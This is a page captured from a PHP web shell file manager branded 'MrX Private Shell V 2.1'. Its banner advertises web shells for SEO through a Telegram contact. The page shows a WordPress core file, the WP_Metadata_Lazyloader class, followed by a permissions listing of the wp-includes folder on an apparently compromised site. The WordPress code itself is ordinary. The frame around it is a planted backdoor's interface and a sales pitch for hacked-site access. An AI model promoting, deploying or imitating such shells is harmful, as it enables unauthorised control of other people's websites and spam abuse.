__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Meta API: WP_Metadata_Lazyloader class
*
* @package WordPress
* @subpackage Meta
* @since 4.5.0
*/
/**
* Core class used for lazy-loading object metadata.
*
* When loading many objects of a given type, such as posts in a WP_Query loop, it often makes
* sense to prime various metadata caches at the beginning of the loop. This means fetching all
* relevant metadata with a single database query, a technique that has the potential to improve
* performance dramatically in some cases.
*
* In cases where the given metadata may not even be used in the loop, we can improve performance
* even more by only priming the metadata cache for affected items the first time a piece of metadata
* is requested - ie, by lazy-loading it. So, for example, comment meta may not be loaded into the
* cache in the comments section of a post until the first time get_comment_meta() is called in the
* context of the comment loop.
*
* WP uses the WP_Metadata_Lazyloader class to queue objects for metadata cache priming. The class
* then detects the relevant get_*_meta() function call, and queries the metadata of all queued objects.
*
* Do not access this class directly. Use the wp_metadata_lazyloader() function.
*
* @since 4.5.0
*/
class WP_Metadata_Lazyloader {
/**
* Pending objects queue.
*
* @since 4.5.0
* @var array
*/
protected $pending_objects;
/**
* Settings for supported object types.
*
* @since 4.5.0
* @var array
*/
protected $settings = array();
/**
* Constructor.
*
* @since 4.5.0
*/
public function __construct() {
$this->settings = array(
'term' => array(
'filter' => 'get_term_metadata',
'callback' => array( $this, 'lazyload_term_meta' ),
),
'comment' => array(
'filter' => 'get_comment_metadata',
'callback' => array( $this, 'lazyload_comment_meta' ),
),
);
}
/**
* Adds objects to the metadata lazy-load queue.
*
* @since 4.5.0
*
* @param string $object_type Type of object whose meta is to be lazy-loaded. Accepts 'term' or 'comment'.
* @param array $object_ids Array of object IDs.
* @return bool|WP_Error True on success, WP_Error on failure.
*/
public function queue_objects( $object_type, $object_ids ) {
if ( ! isset( $this->settings[ $object_type ] ) ) {
return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
}
$type_settings = $this->settings[ $object_type ];
if ( ! isset( $this->pending_objects[ $object_type ] ) ) {
$this->pending_objects[ $object_type ] = array();
}
foreach ( $object_ids as $object_id ) {
// Keyed by ID for faster lookup.
if ( ! isset( $this->pending_objects[ $object_type ][ $object_id ] ) ) {
$this->pending_objects[ $object_type ][ $object_id ] = 1;
}
}
add_filter( $type_settings['filter'], $type_settings['callback'] );
/**
* Fires after objects are added to the metadata lazy-load queue.
*
* @since 4.5.0
*
* @param array $object_ids Array of object IDs.
* @param string $object_type Type of object being queued.
* @param WP_Metadata_Lazyloader $lazyloader The lazy-loader object.
*/
do_action( 'metadata_lazyloader_queued_objects', $object_ids, $object_type, $this );
}
/**
* Resets lazy-load queue for a given object type.
*
* @since 4.5.0
*
* @param string $object_type Object type. Accepts 'comment' or 'term'.
* @return bool|WP_Error True on success, WP_Error on failure.
*/
public function reset_queue( $object_type ) {
if ( ! isset( $this->settings[ $object_type ] ) ) {
return new WP_Error( 'invalid_object_type', __( 'Invalid object type' ) );
}
$type_settings = $this->settings[ $object_type ];
$this->pending_objects[ $object_type ] = array();
remove_filter( $type_settings['filter'], $type_settings['callback'] );
}
/**
* Lazy-loads term meta for queued terms.
*
* This method is public so that it can be used as a filter callback. As a rule, there
* is no need to invoke it directly.
*
* @since 4.5.0
*
* @param mixed $check The `$check` param passed from the 'get_term_metadata' hook.
* @return mixed In order not to short-circuit `get_metadata()`. Generally, this is `null`, but it could be
* another value if filtered by a plugin.
*/
public function lazyload_term_meta( $check ) {
if ( ! empty( $this->pending_objects['term'] ) ) {
update_termmeta_cache( array_keys( $this->pending_objects['term'] ) );
// No need to run again for this set of terms.
$this->reset_queue( 'term' );
}
return $check;
}
/**
* Lazy-loads comment meta for queued comments.
*
* This method is public so that it can be used as a filter callback. As a rule, there is no need to invoke it
* directly, from either inside or outside the `WP_Query` object.
*
* @since 4.5.0
*
* @param mixed $check The `$check` param passed from the {@see 'get_comment_metadata'} hook.
* @return mixed The original value of `$check`, so as not to short-circuit `get_comment_metadata()`.
*/
public function lazyload_comment_meta( $check ) {
if ( ! empty( $this->pending_objects['comment'] ) ) {
update_meta_cache( 'comment', array_keys( $this->pending_objects['comment'] ) );
// No need to run again for this set of comments.
$this->reset_queue( 'comment' );
}
return $check;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ID3 | Folder | 0755 |
|
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| IXR | Folder | 0755 |
|
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| PHPMailer | Folder | 0755 |
|
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| Requests | Folder | 0755 |
|
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| SimplePie | Folder | 0755 |
|
|
| Text | Folder | 0755 |
|
|
| certificates | Folder | 0755 |
|
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| css | Folder | 0755 |
|
|
| customize | Folder | 0755 |
|
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| images | Folder | 0755 |
|
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| js | Folder | 0755 |
|
|
| pomo | Folder | 0755 |
|
|
| random_compat | Folder | 0755 |
|
|
| rest-api | Folder | 0755 |
|
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| theme-compat | Folder | 0755 |
|
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| widgets | Folder | 0755 |
|
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| admin-bar.php | File | 29.03 KB | 0644 |
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| atomlib.php | File | 11.56 KB | 0644 |
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| bookmark-template.php | File | 11.64 KB | 0644 |
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| bookmark.php | File | 13.55 KB | 0644 |
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| bootstrap.php | File | 4.11 KB | 0644 |
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| cache.php | File | 21.35 KB | 0644 |
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| canonical.php | File | 27.83 KB | 0644 |
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| capabilities.php | File | 28.84 KB | 0644 |
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| category-template.php | File | 50.8 KB | 0644 |
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| category.php | File | 12.41 KB | 0644 |
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| class-IXR.php | File | 2.51 KB | 0644 |
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| class-feed.php | File | 523 B | 0644 |
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| class-http.php | File | 36.22 KB | 0644 |
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| class-json.php | File | 39.53 KB | 0644 |
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| class-oembed.php | File | 30.73 KB | 0644 |
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| class-phpass.php | File | 7.15 KB | 0644 |
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| class-phpmailer.php | File | 668 B | 0644 |
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| class-requests.php | File | 29.09 KB | 0644 |
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| class-wp-block-type-registry.php | File | 4.63 KB | 0644 |
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| class-wp-comment.php | File | 8.75 KB | 0644 |
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| class-wp-customize-control.php | File | 24.49 KB | 0644 |
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| class-wp-customize-nav-menus.php | File | 53.08 KB | 0644 |
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| class-wp-customize-panel.php | File | 9.42 KB | 0644 |
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| class-wp-customize-section.php | File | 9.99 KB | 0644 |
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| class-wp-customize-setting.php | File | 27.59 KB | 0644 |
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| class-wp-embed.php | File | 14.38 KB | 0644 |
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| class-wp-error.php | File | 4.81 KB | 0644 |
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| class-wp-http-cookie.php | File | 6.44 KB | 0644 |
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| class-wp-http-curl.php | File | 11.64 KB | 0644 |
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| class-wp-http-encoding.php | File | 6.35 KB | 0644 |
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| class-wp-http-ixr-client.php | File | 3.25 KB | 0644 |
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| class-wp-http-proxy.php | File | 5.92 KB | 0644 |
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| class-wp-image-editor-imagick.php | File | 21.27 KB | 0644 |
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| class-wp-image-editor.php | File | 11.49 KB | 0644 |
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| class-wp-list-util.php | File | 6.25 KB | 0644 |
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| class-wp-locale-switcher.php | File | 4.91 KB | 0644 |
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| class-wp-locale.php | File | 14.26 KB | 0644 |
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| class-wp-matchesmapregex.php | File | 1.76 KB | 0644 |
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| class-wp-meta-query.php | File | 22.86 KB | 0644 |
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| class-wp-metadata-lazyloader.php | File | 5.26 KB | 0644 |
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| class-wp-network-query.php | File | 16.79 KB | 0644 |
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| class-wp-network.php | File | 11.93 KB | 0644 |
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| class-wp-oembed-controller.php | File | 5.88 KB | 0644 |
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| class-wp-post-type.php | File | 17.81 KB | 0644 |
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| class-wp-post.php | File | 6.28 KB | 0644 |
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| class-wp-query.php | File | 127.67 KB | 0644 |
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| class-wp-rewrite.php | File | 58.42 KB | 0644 |
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| class-wp-role.php | File | 2.6 KB | 0644 |
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| class-wp-roles.php | File | 8.13 KB | 0644 |
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| class-wp-session-tokens.php | File | 7.25 KB | 0644 |
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| class-wp-simplepie-file.php | File | 2.27 KB | 0644 |
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| class-wp-simplepie-sanitize-kses.php | File | 1.73 KB | 0644 |
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| class-wp-site-query.php | File | 26.78 KB | 0644 |
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| class-wp-site.php | File | 7.13 KB | 0644 |
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| class-wp-tax-query.php | File | 18.81 KB | 0644 |
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| class-wp-taxonomy.php | File | 10.41 KB | 0644 |
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| class-wp-term-query.php | File | 33.84 KB | 0644 |
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| class-wp-term.php | File | 5.14 KB | 0644 |
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| class-wp-text-diff-renderer-inline.php | File | 716 B | 0644 |
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| class-wp-text-diff-renderer-table.php | File | 16.06 KB | 0644 |
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| class-wp-theme.php | File | 48.09 KB | 0644 |
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| class-wp-user-meta-session-tokens.php | File | 2.92 KB | 0644 |
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| class-wp-user-query.php | File | 30.49 KB | 0644 |
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| class-wp-user.php | File | 20.91 KB | 0644 |
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| class-wp-walker.php | File | 12.39 KB | 0644 |
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| class-wp-widget-factory.php | File | 3.69 KB | 0644 |
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| class-wp-widget.php | File | 17.41 KB | 0644 |
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| class-wp-xmlrpc-server.php | File | 202.08 KB | 0644 |
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| class-wp.php | File | 24.18 KB | 0644 |
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| class.wp-dependencies.php | File | 11.24 KB | 0644 |
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| class.wp-scripts.php | File | 17.4 KB | 0644 |
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| class.wp-styles.php | File | 9.61 KB | 0644 |
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| comment-template.php | File | 87.64 KB | 0644 |
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| comment.php | File | 111.72 KB | 0644 |
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| compat.php | File | 15.99 KB | 0644 |
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| cron.php | File | 30.82 KB | 0644 |
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| date.php | File | 34.34 KB | 0644 |
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| default-constants.php | File | 9.61 KB | 0644 |
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| default-filters.php | File | 24.76 KB | 0644 |
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| default-widgets.php | File | 2.13 KB | 0644 |
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| embed.php | File | 44.04 KB | 0644 |
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| feed-atom-comments.php | File | 5.33 KB | 0644 |
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| feed-atom.php | File | 3.09 KB | 0644 |
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| feed-rdf.php | File | 2.67 KB | 0644 |
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| feed-rss.php | File | 1.25 KB | 0644 |
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| feed-rss2-comments.php | File | 4.09 KB | 0644 |
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| feed-rss2.php | File | 3.77 KB | 0644 |
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| feed.php | File | 19.29 KB | 0644 |
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| formatting.php | File | 280.29 KB | 0644 |
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| functions.php | File | 210.22 KB | 0644 |
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| functions.wp-scripts.php | File | 12.53 KB | 0644 |
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| functions.wp-styles.php | File | 8.03 KB | 0644 |
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| general-template.php | File | 138.46 KB | 0644 |
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| http.php | File | 21.9 KB | 0644 |
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| kses.php | File | 57.23 KB | 0644 |
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| l10n.php | File | 50.67 KB | 0644 |
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| link-template.php | File | 135.4 KB | 0644 |
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| load.php | File | 36.4 KB | 0644 |
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| media-template.php | File | 46.33 KB | 0644 |
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| media.php | File | 141.33 KB | 0644 |
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| meta.php | File | 44.98 KB | 0644 |
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| mime.php | File | 39.54 KB | 0644 |
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| nav-menu-template.php | File | 21.2 KB | 0644 |
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| nav-menu.php | File | 39.57 KB | 0644 |
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| open_basedir.php | File | 21 B | 0644 |
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| option.php | File | 67.91 KB | 0644 |
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| pluggable.php | File | 97.52 KB | 0644 |
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| plugin.php | File | 31.37 KB | 0644 |
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| post-formats.php | File | 6.86 KB | 0644 |
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| post-template.php | File | 60.22 KB | 0644 |
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| post-thumbnail-template.php | File | 8.75 KB | 0644 |
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| post.php | File | 227.37 KB | 0644 |
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| query.php | File | 31.24 KB | 0644 |
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| rest-api.php | File | 40.67 KB | 0644 |
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| revision.php | File | 21.08 KB | 0644 |
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| rewrite.php | File | 17.27 KB | 0644 |
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| robots-template.php | File | 5.06 KB | 0644 |
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| rss.php | File | 22.66 KB | 0644 |
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| script-loader.php | File | 98.75 KB | 0644 |
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| shortcodes.php | File | 20.25 KB | 0644 |
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| sitepad_functions.php | File | 19.73 KB | 0644 |
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| sitepad_functions2.php | File | 21.99 KB | 0644 |
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| spl-autoload-compat.php | File | 2.51 KB | 0644 |
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| taxonomy.php | File | 152.95 KB | 0644 |
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| template-loader.php | File | 2.55 KB | 0644 |
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| template.php | File | 19.77 KB | 0644 |
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| theme.php | File | 99.09 KB | 0644 |
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| update.php | File | 24.81 KB | 0644 |
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| user.php | File | 120.69 KB | 0644 |
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| vars.php | File | 5.59 KB | 0644 |
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| version.php | File | 2.03 KB | 0644 |
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| widgets.php | File | 55.82 KB | 0644 |
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| wlwmanifest.xml | File | 1.03 KB | 0644 |
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| wp-db.php | File | 99.29 KB | 0644 |
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| wp-diff.php | File | 662 B | 0644 |
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